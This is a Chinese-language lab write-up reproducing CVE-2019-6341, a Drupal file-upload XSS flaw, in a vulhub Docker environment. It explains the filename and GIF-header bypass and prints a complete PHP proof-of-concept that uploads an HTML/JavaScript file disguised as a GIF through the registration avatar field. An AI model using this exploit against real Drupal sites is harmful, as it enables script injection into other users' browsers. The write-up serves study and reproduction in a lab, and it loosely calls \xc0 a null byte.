CVE-2019-6341 漏洞复现

环境搭建

Docker运行

复制代码

 cd ~/vulhub/drupal/CVE-2019-6341
 docker compose up -d 
 访问 IP:80                        #由于我采用是云服务器所以是公网访问

Drupal 安装配置

English-->标准-->SQLite-->等待安装-->配置一下站点名称和配置

漏洞复现

Drupal是什么

Drupal 内容管理系统中存在的一个跨站脚本（XSS）漏洞，主要影响文件上传功能，攻击者可通过精心构造的文件触发漏洞，执行恶意脚本

漏洞复现 原理：该漏洞利用用户注册表单的user_picture_0字段上传伪装文件，使用xxx\xc0.gif文件名（\xc0是特殊编码字符），然后文件名包含\xc0让pathinfo()返回.gif，文件内容以"GIF"开头让finfo_file()返回image/gif，双重绕过检查，并且Drupal默认按年月组织上传目录，路径可预测，please check /var/www/html/drupal/sites/default/files/pictures/YYYY-MM，所以该漏洞利用依赖于文件上传验证机制的绕过和文件名编码的双重验证，结合前端的JS渲染逻辑导致XSS代码执行

由于是docker 安装，内部有网站POC利用，但是还是要分析一下代码

bash 复制代码

<?php
/*
usage: php poc.php <target-ip>

Date: 1 March 2019
Exploit Author: TrendyTofu
Original Discoverer: Sam Thomas
Version: <= Drupal 8.6.2
Tested on: Drupal 8.6.2 Ubuntu 18.04 LTS x64 with ext4.
Tested not wokring on: Drupal running on MacOS with APFS
CVE : CVE-2019-6341
Reference: https://www.zerodayinitiative.com/advisories/ZDI-19-291/

*/

$host = $argv[1];
$port = $argv[2];

$pk =   "GET /user/register HTTP/1.1\r\n".
        "Host: ".$host."\r\n".
        "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n".
        "Accept-Language: en-US,en;q=0.5\r\n".
        "Referer: http://".$host."/user/login\r\n".
        "Connection: close\r\n\r\n";

$fp = fsockopen($host,$port,$e,$err,1);
if (!$fp) {die("not connected");}
fputs($fp,$pk);
$out="";
while (!feof($fp)){
  $out.=fread($fp,1);
}
fclose($fp);

preg_match('/name="form_build_id" value="(.*)"/', $out, $match);
$formid = $match[1];
//var_dump($formid);
//echo "form id is:". $formid;
//echo $out."\n";
sleep(1);

$data =
"Content-Type: multipart/form-data; boundary=---------------------------60928216114129559951791388325\r\n".
"Connection: close\r\n".
"\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"mail\"\r\n".
"\r\n".
"test324@example.com\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"name\"\r\n".
"\r\n".
"test2345\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"files[user_picture_0]\"; filename=\"xxx\xc0.gif\"\r\n".
"Content-Type: image/gif\r\n".
"\r\n".
"GIF\r\n".
"<HTML>\r\n".
"       <HEAD>\r\n".
"               <SCRIPT>alert(123);</SCRIPT>\r\n".
"       </HEAD>\r\n".
"       <BODY>\r\n".
"       </BODY>\r\n".
"</HTML>\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"user_picture[0][fids]\"\r\n".
"\r\n".
"\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"user_picture[0][display]\"\r\n".
"\r\n".
"1\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"form_build_id\"\r\n".
"\r\n".
//"form-KyXRvDVovOBjofviDPTw682MQ8Bf5es0PyF-AA2Buuk\r\n".
$formid."\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"form_id\"\r\n".
"\r\n".
"user_register_form\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"contact\"\r\n".
"\r\n".
"1\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"timezone\"\r\n".
"\r\n".
"America/New_York\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"_triggering_element_name\"\r\n".
"\r\n".
"user_picture_0_upload_button\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"_triggering_element_value\"\r\n".
"\r\n".
"Upload\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"_drupal_ajax\"\r\n".
"\r\n".
"1\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"ajax_page_state[theme]\"\r\n".
"\r\n".
"bartik\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"ajax_page_state[theme_token]\"\r\n".
"\r\n".
"\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"ajax_page_state[libraries]\"\r\n".
"\r\n".
"bartik/global-styling,classy/base,classy/messages,core/drupal.ajax,core/drupal.collapse,core/drupal.timezone,core/html5shiv,core/jquery.form,core/normalize,file/drupal.file,system/base\r\n".
"-----------------------------60928216114129559951791388325--\r\n";

$pk =   "POST /user/register?element_parents=user_picture/widget/0&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1\r\n".
        "Host: ".$host."\r\n".
        "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0\r\n".
        "Accept: application/json, text/javascript, */*; q=0.01\r\n".
        "Accept-Language: en-US,en;q=0.5\r\n".
        "X-Requested-With: XMLHttpRequest\r\n".
        "Referer: http://" .$host. "/user/register\r\n".
        "Content-Length: ". strlen($data). "\r\n".
        $data;

echo "uploading file, please wait...\n";

for ($i =1; $i <= 2; $i++){
$fp = fsockopen($host,$port,$e,$err,1);
if (!$fp) {die("not connected");}
fputs($fp,$pk);
$out="";
while (!feof($fp)){
  $out.=fread($fp,1);
}
fclose($fp);

// echo "Got ".$i."/2 500 errors\n";
// echo $out."\n";
sleep(1);
}

echo "please check /var/www/html/drupal/sites/default/files/pictures/YYYY-MM\n";

?>

获取CSRF令牌：先访问用户注册页面获取form_build_id，并填写信息
构造恶意文件 ：创建一个文件名包含空字节\xc0.gif的文件，实际上是HTML+JavaScript内容
绕过安全检查：空字节让系统误认为是GIF图片，绕过文件类型检查
AJAX上传：通过AJAX请求静默上传文件
XSS攻击：当有人访问这个"图片"时，浏览器会执行其中的JavaScript代码（alert(123)）

文件最终保存在/sites/default/files/pictures/YYYY-MM/目录下

脚本复现

上传的文件名按照顺序被命名为0， _1，以此类推，故而我刚刚上传的文件为首次上传，故而其名为0